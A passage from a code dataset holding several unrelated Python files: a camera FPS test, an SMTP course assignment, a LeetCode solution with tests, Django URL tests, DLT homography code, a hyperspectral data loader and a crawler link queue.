camera:\n\tcamera.resolution = (2592, 1944) \n\tcamera.framerate = 30\n\t#time.sleep(2)\n\tstart = time.time()\n\tcamera.capture_sequence(outputs(), 'jpeg', use_video_port=True)\n\tfinish = time.time()\n\tprint('Captured 40 images at %.2ffps' % (40 / (finish - start)))","repo_name":"GeoffreyBultot/CoupeRobotique","sub_path":"positioning/testScripts/testFPS.py","file_name":"testFPS.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22436457862","text":"from email.errors import MessageDefect\nfrom socket import *\nimport base64\nimport ssl\n\nmsg = \"\\r\\n I love computer networks!\"\nendmsg = \"\\r\\n.\\r\\n\"\n# Choose a mail server (e.g. Google mail server) and call it mailserver\nmailserver = \"smtp.163.com\"\n# Create socket called clientSocket and establish a TCP connection with mailserver\n# Fill in start\nclientSocket = socket(AF_INET, SOCK_STREAM)\nclientSocket.connect((mailserver, 25))\n# Fill in end\nrecv = clientSocket.recv(1024).decode()\nprint(recv)\nif recv[:3] != '220':\n print('220 reply not received from server.')\n# Send HELO command and print server response.\nheloCommand = 'HELO Alice\\r\\n'\nprint('#', heloCommand)\nclientSocket.send(heloCommand.encode())\nrecv1 = clientSocket.recv(1024).decode()\nprint(recv1)\nif recv1[:3] != '250':\n print('250 reply not received from server.')\n\n# Send MAIL FROM command and print server response.\nmessageCommand = 'STARTTLS\\r\\n'\nprint('#', messageCommand)\nclientSocket.send(messageCommand.encode())\nrecv = clientSocket.recv(1024).decode()\nprint(recv)\n\nclientSocket = ssl.wrap_socket(clientSocket)\n\nemail = (base64.b64encode(''.encode()) + ('\\r\\n').encode())\npassword = (base64.b64encode(''.encode()) + ('\\r\\n').encode())\nclientSocket.send('AUTH LOGIN\\r\\n'.encode())\nprint('#', 'AUTH LOGIN')\nrecv = clientSocket.recv(1024).decode()\nprint(recv)\n\nclientSocket.send(email)\nprint('#', email)\nrecv = clientSocket.recv(1024).decode()\nprint(recv)\n\nclientSocket.send(password)\nprint('#', password)\nrecv = clientSocket.recv(1024).decode()\nprint(recv)\n\nmailfromCommand = \"MAIL FROM: \\r\\n\"\nprint('#', mailfromCommand)\nclientSocket.send(mailfromCommand.encode())\nrecv2 = clientSocket.recv(1024).decode()\nprint(recv2)\n\n# Send RCPT TO command and print server response.\nmailfromCommand = \"RCPT TO: <879754743@qq.com>\\r\\n\"\nprint('#', mailfromCommand)\nclientSocket.send(mailfromCommand.encode())\nrecv2 = clientSocket.recv(1024).decode()\nprint(recv2)\n\n# Send DATA command and print server response.\ndataCommand = \"DATA\\r\\n\"\nclientSocket.send(dataCommand.encode())\nrecv3 = clientSocket.recv(1024).decode()\nprint(recv3)\n\n# Send message data.\nmessageData = \"From: miical2002@163.com\\r\\n\"\nclientSocket.send(messageData.encode())\nmessageData = \"To: 879754743@qq.com\\r\\n\"\nclientSocket.send(messageData.encode())\nmessageData = \"Subject: Hello World.\\r\\n\"\nclientSocket.send(messageData.encode())\nclientSocket.send(msg.encode())\n\n# Message ends with a single period.\nclientSocket.send(endmsg.encode())\nrecv4 = clientSocket.recv(1024).decode()\nprint(recv4)\n\n# Send QUIT command and get server response.\nquitCommand = \"QUIT\\r\\n\"\nclientSocket.send(quitCommand.encode())\nrecv5 = clientSocket.recv(1024).decode()\nprint(recv5)","repo_name":"Miical/Computer_Networking_A_Top-Down_Approach","sub_path":"python-socket-programming-assignments/Assignment_3_SMTP/SMTP.py","file_name":"SMTP.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"47001914387","text":"#\n# @lc app=leetcode.cn id=950 lang=python3\n#\n# [950] 按递增顺序显示卡牌\n#\nimport unittest\nfrom typing import List\n\n\nclass Solution:\n # 递归处理\n # 拼接时注意奇数偶数的处理逻辑不一致\n def deckRevealedIncreasing(self, deck: List[int]) -> List[int]:\n length = len(deck)\n\n if length <= 2:\n return deck\n \n deck.sort()\n\n split = (length + 1) // 2\n\n front = deck[:split]\n back = self.deckRevealedIncreasing(deck[split:])\n result = []\n\n if length % 2 == 0:\n for i in range(split):\n result.append(front[i])\n result.append(back[i])\n else:\n end = back.pop()\n back.insert(0, end)\n\n for i in range(split-1):\n result.append(front[i])\n result.append(back[i])\n \n result.append(front[-1])\n\n return result\n\nclass SolutionTest(unittest.TestCase):\n def setUp(self):\n self.testData = []\n self.solution = Solution()\n\n def tearDown(self):\n for deck, result in self.testData:\n self.assertListEqual(result, self.solution.deckRevealedIncreasing(deck))\n\n def test_default_case(self):\n self.testData = [([17, 13, 11, 2, 3, 5, 7], [2, 13, 3, 11, 5, 17, 7])]\n\n def test_even(self):\n self.testData = [\n (\n [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n [1, 8, 2, 13, 3, 9, 4, 12, 5, 10, 6, 14, 7, 11],\n ),\n (\n [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18],\n [1, 10, 2, 18, 3, 11, 4, 15, 5, 12, 6, 17, 7, 13, 8, 16, 9, 14],\n ),\n ]\n\n def test_odd(self):\n self.testData = [\n (\n [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15],\n [1, 12, 2, 9, 3, 14, 4, 10, 5, 13, 6, 11, 7, 15, 8],\n ),\n (\n [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19],\n [1, 15, 2, 11, 3, 19, 4, 12, 5, 16, 6, 13, 7, 18, 8, 14, 9, 17, 10],\n ),\n ]\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n","repo_name":"fengbaoheng/leetcode","sub_path":"python/950.reveal-cards-in-increasing-order.py","file_name":"950.reveal-cards-in-increasing-order.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10429376485","text":"import random\r\n\r\nclass RandomIntegers:\r\n\r\n def GenRandInt(self):\r\n\r\n for i in range(1,21):\r\n \r\n face = random.randint(1,6)\r\n \r\n print (face,end=\" \")\r\n\r\n if i % 5 == 0:\r\n print(\"\\n\")\r\n\r\nRI = RandomIntegers()\r\nRI.GenRandInt()\r\n \r\n","repo_name":"Owhohefe/Python","sub_path":"RandomIntegers.py","file_name":"RandomIntegers.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73197509974","text":"import http\n\nfrom django.test import TestCase, Client\n\nfrom ..models import Post, Group, User\n\n\nclass PostURLTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.author = User.objects.create_user(username='Author')\n cls.user = User.objects.create_user(username='NoName')\n cls.group = Group.objects.create(\n title='Тестовый заголовок',\n description='Тестовый текст',\n slug='test-slug',\n )\n cls.post = Post.objects.create(\n text='Тестовый текст',\n author=cls.author,\n )\n\n def setUp(self) -> None:\n self.guest_client = Client()\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n self.post_author = Client()\n self.post_author.force_login(self.post.author)\n\n def test_all_urls_use_correct_template(self):\n \"\"\"Тестируем используемые страницами шаблоны.Для этого используем\n учётку автора поста, чтобы проверить сразу все страницы.\n \"\"\"\n templates_url_names = {\n '/': 'posts/index.html',\n f'/group/{self.group.slug}/': 'posts/group_list.html',\n f'/posts/{self.post.id}/': 'posts/post_detail.html',\n f'/posts/{self.post.id}/edit/': 'posts/create_post.html',\n '/create/': 'posts/create_post.html',\n '/follow/': 'posts/follow.html',\n '/non_existing_page/': 'core/404.html',\n }\n for address, template in templates_url_names.items():\n with self.subTest(address=address):\n response = self.post_author.get(address)\n self.assertTemplateUsed(response, template)\n\n def test_all_urls_return_correct_response(self):\n \"\"\"Тестируем коды ответа, возвращаемые страницами.\"\"\"\n addresses_response_codes = {\n '/': http.HTTPStatus.OK,\n f'/group/{self.group.slug}/': http.HTTPStatus.OK,\n f'/posts/{self.post.id}/': http.HTTPStatus.OK,\n f'/posts/{self.post.id}/edit/': http.HTTPStatus.OK,\n '/create/': http.HTTPStatus.OK,\n '/non_existing_page/': http.HTTPStatus.NOT_FOUND,\n '/follow/': http.HTTPStatus.OK,\n f'/posts/{self.post.id}/comment/': http.HTTPStatus.FOUND,\n f'/profile/{self.user.id}/follow':\n http.HTTPStatus.MOVED_PERMANENTLY,\n f'/profile/{self.user.id}/unfollow':\n http.HTTPStatus.MOVED_PERMANENTLY,\n }\n for address, response_code in addresses_response_codes.items():\n with self.subTest(address=address):\n response = self.post_author.get(address)\n self.assertEqual(response.status_code, response_code)\n\n def test_post_edit_correct_responses(self):\n \"\"\"Тестируем, что страница редактирования поста\n корректно работает для автора и не автора поста.\n \"\"\"\n author = self.post_author\n not_author = self.authorized_client\n different_templates_of_edit_url = {\n author: http.HTTPStatus.OK,\n not_author: http.HTTPStatus.FOUND,\n }\n for user_type, response_code in (\n different_templates_of_edit_url.items()\n ):\n with self.subTest(user_type=user_type):\n response = user_type.get(f'/posts/{self.post.id}/edit/')\n self.assertEqual(response.status_code, response_code)\n\n def test_post_create_correct_responses(self):\n \"\"\"Тестируем, что страница создания поста\n корректно работает для авторизованного и неавторизованного\n пользователей.\n \"\"\"\n authorized = self.authorized_client\n not_authorized = self.guest_client\n different_templates_of_edit_url = {\n authorized: http.HTTPStatus.OK,\n not_authorized: http.HTTPStatus.FOUND,\n }\n for user_type, response_code in (\n different_templates_of_edit_url.items()\n ):\n with self.subTest(user_type=user_type):\n response = user_type.get('/create/')\n self.assertEqual(response.status_code, response_code)\n","repo_name":"ValentinDevPy/hw05_final","sub_path":"yatube/posts/tests/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3661169700","text":"from threading import Thread\nimport base64\nimport os\nimport time\n\n\n\n\nclass WorkDaemon(Thread):\n '''\n A daemon thread\n '''\n def __init__(self,work_method, interval,run_once=False,params=None,run_first_time=True):\n '''\n @param work_method: the referenced method/function.\n @param interval: interval in seconds\n @run_once: True if the process is ment to run only once \n '''\n Thread.__init__(self)\n self.work_method=work_method\n self.daemon=True\n self.interval=interval\n self.paused=False\n self.run_once=run_once\n self.once_counter=0\n self.params=params\n self.idt=base64.urlsafe_b64encode(os.urandom(4))\n #print 'Thread created Run once ', self.run_once\n self.stopped=False\n self.run_first_time=run_first_time\n \n def run(self):\n \n while(True):\n if(self.stopped):\n return\n if(not self.paused):\n if(self.once_counter==0 and self.run_first_time==False):\n self.once_counter+=1 \n time.sleep(self.interval)\n continue\n \n if(not self.run_once):\n #print 'Excuting ',self.idt\n if(self.params==None):\n self.work_method()\n else:\n self.work_method(self.params)\n \n elif(self.once_counter==1):\n #print 'Executing once ',self.idt\n if(self.params==None):\n self.work_method()\n else:\n self.work_method(self.params)\n return #execute just 1 one time after first interval comes up \n #print('Incrementing once counter') \n self.once_counter+=1 \n time.sleep(self.interval)\n def pause(self):\n self.paused=True\n \n def unpause(self):\n self.paused=False\n \n def stop(self):\n self.stopped=True\n","repo_name":"Kramer84/InSimTools","sub_path":"InSimTools/WorkDaemon.py","file_name":"WorkDaemon.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19330360590","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\n\n# A(1, 2, 1)\n# B(-1, 0, 1)\n# C(2.4, 1.3, 1)\n# D(3, 3, 1)\n# E(1, 1.5, 1)\n# F(-2.3, 2.4, 1)\n\n\n# Ap(-2, -1, 1)\n# Bp(-1.4, 2, 1)\n# Cp(-0.3, 1.3, 1)\n# Dp(-1.6, 3, 1)\n# Ep(0.3, 2, 1)\n# Fp(-1.2, 1.4, 1)\n\n#XYZ = np.array([[1, -1, 2.4, 3, 1, -2.3], [2, 0, 1.3, 3, 1.5, 2.4], [1, 1, 1, 1, 1, 1]])\n#XYZ_prim = np.array([[-2, -1.4, -0.3, -1.6, 0.3, -1.2], [-1, 2, 1.3, 3, 2, 1.4], [1, 1, 1, 1, 1, 1]])\n\n\nXYZ = np.array([[-3, -2, 1, -7, 2], [2, 5, 0, 3, 1], [1, 2, 3, 1, 2]])\nXYZ_prim = np.array([[13, 30, 15, 17, 14], [5, 17, 7, 4, 9.02], [8, 11, 20, 11, 11]])\n\nXYZsh = np.array([[1.1, -1, 2.4, 3, 1, -2.3], [2, 0, 1.3, 3.1, 1.5, 2.4], [1, 1, 1, 1, 1, 1]])\nXYZ_primsh = np.array([[-2, -1.4, -0.3, -1.6, 0.3, -1.2], [-1, 2, 1.3, 3, 2, 1.4], [1, 1, 1, 1, 1, 1]])\n#A(1.1, 2, 1)\n#D(3, 3.1, 1)\n\nnew_coords = np.array([[0, 1, 2], [-1, 0, 3], [0, 0, 1]])\n\nnewXYZ = np.dot(new_coords, XYZ)\nnewXYZ_prim = np.dot(new_coords, XYZ_prim)\n\n\n\nnp.set_printoptions(suppress=True)\n\ndef naive(XYZ, XYZ_prim):\n\n\ta = np.array([[XYZ[0][0], XYZ[0][1], XYZ[0][2]], [XYZ[1][0], XYZ[1][1], XYZ[1][2]], [XYZ[2][0], XYZ[2][1], XYZ[2][2]]])\n\tb = np.array([XYZ[0][3], XYZ[1][3], XYZ[2][3]])\n\n\tap = np.array([[XYZ_prim[0][0], XYZ_prim[0][1], XYZ_prim[0][2]], [XYZ_prim[1][0], XYZ_prim[1][1], XYZ_prim[1][2]], [XYZ_prim[2][0], XYZ_prim[2][1], XYZ_prim[2][2]]])\n\tbp = np.array([XYZ_prim[0][3], XYZ_prim[1][3], XYZ_prim[2][3]])\n\n\n\tcoeffs1 = np.linalg.solve(a, b)\n\tcoeffs2 = np.linalg.solve(ap, bp)\n\n\tP = np.zeros((3, 3))\n\tP_prim = np.zeros((3, 3))\n\n\tfor i in range(3):\n\t\tP[:, i] = coeffs1[i]*XYZ[:, i]\n\t\tP_prim[:, i] = coeffs2[i]*XYZ_prim[:, i]\n\n\tS = np.linalg.inv(P)\n\tR = np.dot(P_prim, S)\n\treturn R\n\n\ndef dlt(XYZ, XYZ_prim, n):\n\tA = coresp(XYZ, XYZ_prim, n)\n\n\tU, D, V = np.linalg.svd(A, full_matrices = True)\n\n\tV = [[V[8][0], V[8][1], V[8][2]], [V[8][3], V[8][4], V[8][5]], [V[8][6], V[8][7], V[8][8]]]\n\tF = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]\n\n\treturn np.dot(F, V)\n\n\ndef center_of_mass(XYZ, n):\n\txs = 0\n\tys = 0\n\tfor i in range(n):\n\t\txs += XYZ[0][i]/XYZ[2][i]\n\t\tys += XYZ[1][i]/XYZ[2][i]\n\n\treturn xs/n, ys/n\n\ndef euclidian(Ax, Ay, Bx, By):\n\treturn math.sqrt((Ax-Bx)*(Ax-Bx) + (Ay-By)*(Ay-By))\n\ndef coresp(XYZ, XYZ_prim, n):\n\tA = np.zeros((2*n, 9))\n\tr = 0\n\tfor i in range(n):\n\t\tmatrix = np.zeros((2, 9))\n\n\t\tmatrix[0, :] = np.array([0, 0, 0, -XYZ_prim[2][i]*XYZ[0][i], -XYZ_prim[2][i]*XYZ[1][i], -XYZ_prim[2][i]*XYZ[2][i], XYZ_prim[1, i]*XYZ[0][i], XYZ_prim[1, i]*XYZ[1][i], XYZ_prim[1, i]*XYZ[2][i]])\n\t\tmatrix[1, :] = np.array([XYZ_prim[2][i]*XYZ[0][i], XYZ_prim[2][i]*XYZ[1][i], XYZ_prim[2][i]*XYZ[2][i], 0, 0, 0, -XYZ_prim[0][i]*XYZ[0][i], -XYZ_prim[0][i]*XYZ[1][i], -XYZ_prim[0][i]*XYZ[2][i]])\n\n\t\tA[r, :] = matrix[0, :]\n\t\tA[r+1, :] = matrix[1, :]\n\t\tr+=2\n\n\treturn A\n\n\n\ndef draw_naive(XYZ, W, XYZ_prim, W_prim):\n\tplt.plot([XYZ[0][0],XYZ[0][1],XYZ[0][2], W[0]], [XYZ[1][0],XYZ[1][1],XYZ[1][2], W[1]], 'go-', label='line 1', linewidth=2)\n\tplt.plot([XYZ[0][0], W[0]], [XYZ[1][0], W[1]], \"go-\", label = \"line 2\", linewidth = \"2\") \n\n\n\tplt.plot([XYZ_prim[0][0],XYZ_prim[0][1],XYZ_prim[0][2], W_prim[0]], [XYZ_prim[1][0],XYZ_prim[1][1],XYZ_prim[1][2], W_prim[1]], 'go-', label='line 1', linewidth=2, color = \"blue\")\n\tplt.plot([XYZ_prim[0][0], W_prim[0]], [XYZ_prim[1][0], W_prim[1]], \"go-\", label = \"line 2\", linewidth = \"2\", color = \"blue\") \n\n\tplt.show()\n\t\n\n\ndef draw_dlt(XYZ, XYZ_prim):\n\tplt.plot([XYZ[0][0],XYZ[0][1],XYZ[0][2], XYZ[0][3]], [XYZ[1][0],XYZ[1][1],XYZ[1][2], XYZ[1][3]], 'go-', label='line 1', linewidth=2)\n\tplt.plot([XYZ[0][0], XYZ[0][3]], [XYZ[1][0], XYZ[1][3]], \"go-\", label = \"line 2\", linewidth = \"2\") \n\n\n\tplt.plot([XYZ_prim[0][0],XYZ_prim[0][1],XYZ_prim[0][2], XYZ_prim[0][3]], [XYZ_prim[1][0],XYZ_prim[1][1],XYZ_prim[1][2], XYZ_prim[1][3]], 'go-', label='line 1', linewidth=2, color = \"blue\")\n\tplt.plot([XYZ_prim[0][0], XYZ_prim[0][3]], [XYZ_prim[1][0], XYZ_prim[1][3]], \"go-\", label = \"line 2\", linewidth = \"2\", color = \"blue\") \n\n\n\n\tplt.show()\n\n\n\n\ndef normalisation(XYZ, n):\n\n\tTx, Ty = center_of_mass(XYZ, n)\n\t\n\tg = np.array([[1, 0, -Tx], [0, 1, -Ty], [0, 0, 1]])\n\n\ttotal = 0\n\tfor i in range(n):\n\t\ttotal += euclidian(XYZ[0][i]/XYZ[2][i], XYZ[1][i]/XYZ[2][i], Tx, Ty)\n\n\n\ts = np.array([[math.sqrt(2)/(total/n), 0, 0], [0, math.sqrt(2)/(total/n), 0], [0, 0, 1]])\n\n\tt = np.dot(s, g)\n\tnormalised = np.dot(t, XYZ)\n\n\treturn normalised, t\n\n\ndef normalisedDLT(XYZ, XYZ_prim, n):\n\n\tXYZn, T = normalisation(XYZ, n)\n\tXYZ_primn, Tp = normalisation(XYZ_prim, n)\n\n\tV = dlt(XYZn, XYZ_primn, n)\n\tR = np.linalg.multi_dot([np.linalg.inv(Tp), V, T])\n\treturn R\n\ndef coeff(matrix1, matrix2):\n\treturn matrix1[0][1]/matrix2[0][1]\n\n\n\nprint(\"naive\")\nR1 = naive(XYZ, XYZ_prim)\nprint(R1)\ndraw_dlt(XYZ, XYZ_prim)\n\n\n\nprint(\"\\n__________________________________________________________\\n\")\nprint(\"DLT algorithm / (A, B, C, D)\")\nR2 = dlt(XYZ, XYZ_prim, 4)\nprint(R2)\n#draw_dlt(XYZ, XYZ_prim)\nprint(\"\\n./vs naive\")\nprint(np.dot(R2, coeff(R1, R2)))\n\n\n\nprint(\"\\n__________________________________________________________\\n\")\nprint(\"DLT algorithm / (A, B, C, D, E)\")\nR3 = dlt(XYZ, XYZ_prim, 5)\nprint(R3)\n#draw_dlt(XYZ, XYZ_prim)\nprint(\"\\n./vs naive\")\nprint(np.dot(R3, coeff(R1, R3)))\n\nprint(\"\\n__________________________________________________________\\n\")\n\n\n\n'''\n#A(1.1, 2, 1)\n#D(3, 3.1, 1)\nprint(\"DLT algorithm / ~ A(1.1, 2) i D(3, 3.1)\")\nR4 = dlt(XYZsh, XYZ_primsh, 4)\nprint(R4)\n#draw_dlt(XYZsh, XYZ_primsh)\nprint(\"\\n\")\nprint(\"\\n./vs naive\")\nprint(np.dot(R4, coeff(R1, R4)))\nprint(\"\\n__________________________________________________________\\n\")\n'''\n\n\nprint(\"NDLT algorithm / (A, B, C, D)\")\nR5 = normalisedDLT(XYZ, XYZ_prim, 4)\nprint(R5)\nprint(\"\\n\\n\")\nprint(\"\\n./vs naive\")\nprint(np.dot(R5, coeff(R1, R5)))\nprint(\"\\n__________________________________________________________\\n\")\n\n\n\nprint(\"NDLT algorithm / (A, B, C, D, E)\")\nR6 = normalisedDLT(XYZ, XYZ_prim, 5)\nprint(R6)\nprint(\"\\n./vs naive\")\nprint(np.dot(R6, coeff(R1, R6))) \nprint(\"\\n__________________________________________________________\\n\")\n\n\nprint(\"DLT algorithm / new coords\")\ndltNew = dlt(newXYZ, newXYZ_prim, 4)\nprint(dltNew)\n\nprint(\"\\nDLT algorithm / old coords\")\ndltOld = np.linalg.multi_dot([np.linalg.inv(new_coords), dltNew, new_coords])\nprint(dltOld)\n\nprint(\"\\nmatrix\")\nprint(R2)\n\nprint(\"\\nscaled matrix\")\nprint(np.dot(dltOld, coeff(R1, dltOld)))\nprint(\"\\n__________________________________________________________\\n\")\n\n\n\nprint(\"NDLT algorithm / new coords\")\nndltNew = normalisedDLT(newXYZ, newXYZ_prim, 4)\nprint(ndltNew)\n\nprint(\"\\nNDLT algorirthm / old coords\")\nndltOld = np.linalg.multi_dot([np.linalg.inv(new_coords), dltNew, new_coords])\nprint(ndltOld)\n\nprint(\"\\nmatrix\")\nprint(R2)\n\nprint(\"\\nscaled matrix\")\nprint(np.dot(ndltOld, coeff(R1, ndltOld)))\n\n\n\n\n\nprint(\"\\n__________________________________________________________\\n\")\n","repo_name":"wnsmith/PPGR","sub_path":"(N)DLT.py","file_name":"(N)DLT.py","file_ext":"py","file_size_in_byte":6803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44482810162","text":"from functools import reduce\n# Python 3\n'''\nReduce()\nreduce applies a function of two arguments cumulatively to the elements of an\niterable, optionally starting with an initial argument.\n\n reduce(func, iterable[, initial])\n\n'''\n\n\nnumbers = [3, 4, 6, 9, 34, 12]\n\n\ndef custom_sum(first, second):\n print(f'first: {first}, second: {second}')\n\n return first + second\n\n# Since the initial value is provided here (100), reduce starts calculating from 100.\nresult = reduce(custom_sum, numbers, 100)\nprint(result)\n\n\nprint('\\n')\n\n# Exercises (map(), filter(), and reduce())\n\n# Use map to print the square of each numbers rounded\n# to three decimal places\nmy_floats = [4.35, 6.09, 3.25, 9.77, 2.16, 8.88, 4.59]\nsquare = list(map(lambda num: round(num ** 2, 3), my_floats))\nprint(square)\n# Use filter to print only the names that are less than\n# or equal to seven letters\nmy_names = [\"olumide\", \"akinremi\", \"josiah\", \"temidayo\", \"omoseun\"]\nmy_names_filtered = list(filter(lambda name: len(name) <= 7, my_names))\nprint(my_names_filtered)\n# Use reduce to print the product of these numbers\nmy_numbers = [4, 6, 9, 23, 5]\n\n\ndef numbers_product(a, b):\n return a * b\n\n\nmy_numbers_acc = reduce(numbers_product, my_numbers)\n# using lambda:\nproduct_result = reduce(lambda a, b: a * b, my_numbers)\nprint(my_numbers_acc, product_result)\nprint('\\n')\n# Fix all three respectively.\nmap_result = list(map(lambda x: round(x ** 2, 3), my_floats))\nfilter_result = list(filter(lambda name: len(name) <= 7 , my_names))\nreduce_result = reduce(lambda num1, num2: num1 * num2, my_numbers)\n\nprint(map_result)\nprint(filter_result)\nprint(reduce_result)\n\nnew_var = 'hi'\nprint(new_var)\ndel new_var\n# print(new_var)\n\nmy_bytes = bytes()\n\nprint(my_bytes)\n","repo_name":"TareqJudehGithub/data_science_udacity","sub_path":"Python/Lesson5/reduce.py","file_name":"reduce.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69816115413","text":"from time import sleep as s\nclass Vehicle:\n def __init__(self,fuel_consumption,maximum_speed,tank_capacity):\n self.fuel_consumption=fuel_consumption\n self.maximum_speed=maximum_speed\n self.tank_capacity=tank_capacity\n self.fuel_left=self.tank_capacity\n self.can_ride=True\n\n def move(self,dist):\n if self.can_ride:\n if self.fuel_consumption*(dist/100)800:\n continue\n xx.append(key)\n y.append(sr[key])\n print(y)\n #plt.figure()\n plt.plot(xx,y,c[i])\n plt.savefig('/home/amax/project/hs_re/Image_Segmentation-master/img/sr.jpg')\n\n\n\nif __name__==\"__main__\":\n if 0:\n print(get_impath())\n image_path = get_impath()[5]\n print(image_path[0])\n im_stack =np.reshape( cv2.imread(image_path[0],-1),[cv2.imread(image_path[0],-1).shape[0],cv2.imread(image_path[0],-1).shape[1],1])\n print(im_stack.shape)\n for im_channel in image_path[1:]:\n image = np.reshape( cv2.imread(im_channel,-1),[cv2.imread(im_channel,-1).shape[0],cv2.imread(im_channel,-1).shape[1],1])\n im_stack = np.concatenate((im_stack, image),axis=2)\n n = random.randint(0, 256)\n m = random.randint(0, 256)\n im_corp = im_stack[n:n + 256, m:m + 256, :]\n print(n,m,im_corp.max())\n else:\n # path='/media/ylt/data/hs_re/srdata/1842.csv'\n # di=load_sr(path)\n # print(di)\n #plot_sr()\n #get_impath_nt20(train=False)\n a=np.squeeze(load_all_sr())\n b=np.squeeze(load_camera(0))\n #get_impath_RGB()\n","repo_name":"yan4243/FS_NET_mindspore","sub_path":"hs_data.py","file_name":"hs_data.py","file_ext":"py","file_size_in_byte":6513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19660923791","text":"import sys\nsys.path.append('')\nfrom customtypes import Layout\nfrom network import Network\nimport numpy as np\nfrom typing import Dict, Tuple\nfrom dataclasses import dataclass\n\n\n@dataclass(frozen=True)\nclass SpatialConfiguration:\n \"\"\"\n Contains a grid of agent locations and a diction of location on the grid to ID.\n\n The grid is 1 where an agent is present and 0 everywhere else. Its dtype is uint8.\n Agent IDs range from 0 to N-1 (inclusive) where N is the number of agents.\n \"\"\"\n grid: np.ndarray\n agent_location_to_id: Dict[Tuple[int, int], int]\n\n @property\n def N(self) -> int:\n return len(self.agent_location_to_id)\n\n\nclass MakeLazySpatialNetwork:\n def __init__(self, config: SpatialConfiguration) -> None:\n \"\"\"Can be called with different reaches to make the corresponding spatial network.\"\"\"\n self._dm, self._layout = self._init_dist_matrix(config)\n self._N = config.N\n self._radius_to_network: Dict[int, Network] = {}\n\n def __call__(self, agent_reach: int) -> Network:\n if agent_reach not in self._radius_to_network:\n self._radius_to_network[agent_reach] = self._make_network_with_reach(agent_reach)\n return self._radius_to_network[agent_reach]\n\n @staticmethod\n def _init_dist_matrix(config: SpatialConfiguration)\\\n -> Tuple[np.ndarray, Layout]:\n grid_shape = config.grid.shape\n distance_matrix = np.zeros(config.grid.shape)\n for (i, j), agent_id in config.agent_location_to_id.items():\n for (x, y), other_id in config.agent_location_to_id.items():\n distance_matrix[agent_id, other_id] = _distance(i, j, x, y)\n\n layout = {id_: (2*x/grid_shape[0]-1, 2*y/grid_shape[1]-1)\n for (x, y), id_ in config.agent_location_to_id.items()}\n return distance_matrix, layout\n\n def _make_network_with_reach(self, agent_reach: int) -> Network:\n M = np.where(self._dm < agent_reach, 1, 0)\n return Network(M, layout=self._layout)\n\n\ndef make_random_spatial_configuration(grid_shape: Tuple[int, int], N: int, rng)\\\n -> SpatialConfiguration:\n \"\"\"\n Randomly populate an AgentGrid with N agents and the given shape using the\n provided RandomGenerator.\n \"\"\"\n grid = np.zeros(grid_shape, dtype=np.uint8)\n loc_to_id = {}\n current_id = 0\n for _ in range(N):\n coord = tuple(rng.integers(N, size=2))\n while grid[coord] > 0:\n coord = tuple(rng.integers(N, size=2))\n grid[coord] = 1\n loc_to_id[coord] = current_id\n current_id += 1\n return SpatialConfiguration(grid, loc_to_id)\n\n\ndef _distance(x0: int, y0: int, x1: int, y1: int) -> float:\n return np.sqrt((x0-x1)**2 + (y0-y1)**2)\n","repo_name":"GaudiestTooth17/infection-resistant-networks","sub_path":"networkgen/_lazy_spatial.py","file_name":"_lazy_spatial.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21226947635","text":"from threading import Thread, RLock\r\nfrom queue import Queue, Empty\r\nimport time\r\n\r\n#a class representing the queues used to store the urls in the frontier\r\n#these links store their last access time and wait to make sure the\r\n#crawler remains polite when accessing domains\r\nclass LinkQueue(object):\r\n def __init__(self):\r\n self.links = Queue()\r\n self.lock = RLock()\r\n self.lastAccess = 0.0\r\n \r\n def addLink(self, url):\r\n with self.lock:\r\n self.links.put_nowait(url)\r\n \r\n def getLink(self):\r\n with self.lock:\r\n try:\r\n if time.time() - self.lastAccess >= 0.550:\r\n self.lastAccess = time.time()\r\n return self.links.get_nowait()\r\n else:\r\n time.sleep(abs(0.650 - abs(time.time() - self.lastAccess))) \r\n self.lastAccess = time.time()\r\n return self.links.get_nowait()\r\n except Empty:\r\n return None\r\n \r\n def qsize(self):\r\n with self.lock:\r\n return self.links.qsize()","repo_name":"Alex-Mulligan/PythonCrawler","sub_path":"crawler/LinkQueue.py","file_name":"LinkQueue.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23154679793","text":"m = 12\nn = 19\nk = 25\n\n# максимальное число\nprint(max(m, n, k))\n\nline_1 = \"m\"\nline_2 = \"n\"\nline_3 = \"k\"\n\n# минимальная лексикографически строка\nprint(min(line_1, line_2, line_3))\n\n# количество цифр в числе 2 в степени 